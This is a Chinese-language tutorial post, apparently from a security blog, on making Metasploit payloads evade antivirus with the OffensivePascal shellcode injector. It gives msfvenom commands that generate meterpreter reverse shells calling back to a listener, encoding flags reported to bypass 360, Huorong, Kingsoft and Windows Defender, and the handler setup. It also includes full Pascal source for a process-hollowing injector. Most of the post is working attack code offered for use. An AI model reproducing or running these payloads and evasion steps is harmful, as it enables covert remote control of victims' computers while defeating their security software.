0x01 前言
最近在知识星球看到@冷逸师傅分享的一个Pascal语言shellcode注入项目,因为Pascal为冷门语言,所以大概率不会被查杀,所以可以用这个项目来对我们的马儿进行免杀处理。
项目地址:https://github.com/0xsp-SRD/OffensivePascal
0x02 项目测试
在测试这个项目前我们得先装好Lazarus环境,然后将OffensivePascal
项目下载到本地,使用作者给出的msfvenom命令生成Pascalg格式的shellcode,并将其全部放置在一行。
msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.1.120 LPORT=443 -f c | sed -r 's/[\x]+/$/g' | sed -r 's/[\]+/,/g' | sed -r 's/["]+//g' | sed -e 's/$/\,/' | cut -c 2- msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_http msf5 exploit(multi/handler) > set lhost 192.168.1.120 msf5 exploit(multi/handler) > set lport 443 msf5 exploit(multi/handler) > exploit
接着在Lazarus环境中打开OffensivePascal项目Simple Shellcode injection
文件夹中injector.lpr,将处理好的Pascalg格式的shellcode替换到shellcode:array
中,然后进行编译即可。
这里需要注意下msfvenom生成的payload大小,因为要删除掉shellcode后的;,
,所以在injector.lpr源代码中填写payload大小时可能要-1,如果填写的不对在编译时就可能会出现报错,如下图。
这里我们用360、火绒、PC和Server端的windows defender来扫描下刚编译的injector.exe,看下是否已经能够免杀?在下图中可以看到360是免杀了,但是火绒和windows defender还是查杀到了。
0x03 免杀处理
直接用作者给的msfvenom命令生成的shellcode编译的exe已经被火绒和windows defender查杀,但如果不加那段shellcode就不会被杀,所以我们还需要做进一步的免杀处理。
经过测试后发现其实很简单,只要在msfvenom生成shellcode时使用-e参数加上zutto_dekiru
编码即可实现免杀,次数也可以用-i参数控制,可同时免杀360、火绒、金山毒霸、PC和Server端的windows defender。
接着我们再按以上的测试流程重新走一遍就行了,生成shellcode->处理shellcode->替换shellcode->编译exe->执行上线,都是一些重复的操作,就不详细写了,这时可以看到执行后已经成功上线了。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.120 LPORT=443 -e x64/zutto_dekiru -i 5 -f c | sed -r 's/[\x]+/$/g' | sed -r 's/[\]+/,/g' | sed -r 's/["]+//g' | sed -e 's/$/\,/' | cut -c 2- msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set lhost 192.168.1.120 msf5 exploit(multi/handler) > set lport 443 msf5 exploit(multi/handler) > exploit
injector.lpr:
{ this one is part of repo published on github under the name of Offensive Pascal Pascal is a great and still up to date :) these projects can be compilied using FreePascal (FPC) or Delphi author : @zux0x3a site : 0xsp.com / ired.dev https://github.com/0xsp-SRD/OffensivePascal } program injector; {$mode delphi} uses Classes,windows; procedure inject_shell; const //Windows x64 MessageBox Shellcode (434 bytes) shellcode:array[0..768] of BYTE = ( Insert Shellcode Here); var pi: TProcessInformation; si: TStartupInfo; {$ifdef win32} ctx: Context; {$endif} {$ifdef win64} ctx : Pcontext; {$endif} remote_shellcodePtr: Pointer; {$ifdef win64} Written:dword64; {$endif} {$ifdef win32} Written:dword; {$endif} AppToLaunch: string; i ,s_size: Cardinal; shell_prt : string ; shell_code : array of byte; begin AppToLaunch := 'notepad.exe'; UniqueString(AppToLaunch); FillMemory( @si, sizeof( si ), 0 ); FillMemory( @pi, sizeof( pi ), 0 ); writeln('[+] Creating Process in Suspended Mode'); CreateProcess('c:\windows\system32\cmd.exe', PChar(AppToLaunch), nil, nil, False, CREATE_SUSPENDED, nil, nil, si, pi ); {$ifdef win32} ctx.ContextFlags := CONTEXT_CONTROL; GetThreadContext(pi.hThread,ctx); {$endif} {$ifdef win64} ctx := PCONTEXT(VirtualAlloc(nil, sizeof(ctx), MEM_COMMIT, PAGE_READWRITE)); ctx.ContextFlags := CONTEXT_ALL; GetThreadContext(pi.hThread,ctx^); {$endif} //allocate the memory size remote_shellcodePtr:=VirtualAllocEx(pi.hProcess,Nil,s_size,MEM_COMMIT, PAGE_EXECUTE_READWRITE); // write array of bytes into process memory WriteProcessMemory(pi.hProcess,remote_shellcodePtr,@shellcode,s_size,written); {$ifdef win64} ctx.rip:=dword64(remote_shellcodePtr); //ctx.ContextFlags := CONTEXT_CONTROL; SetThreadContext(pi.hThread,ctx^); ResumeThread(pi.hThread); {$ENDIF} {$ifdef win32} ctx.Eip:=integer(remote_shellcodePtr); ctx.ContextFlags := CONTEXT_CONTROL; SetThreadContext(pi.hThread,ctx); ResumeThread(pi.hThread); {$endif} end; begin inject_shell; end.
0x04 注意事项
这种免杀方式只能过杀软的静态查杀,在Meterpreter会话中执行getsystem
提权、 migrate
进程迁移等命令时还是会被windows defender阻止,这里我也只是简单测试了下PC的windows defender,至于360、火绒等其他安全防护产品还会拦截哪些操作和行为还请自行测试...。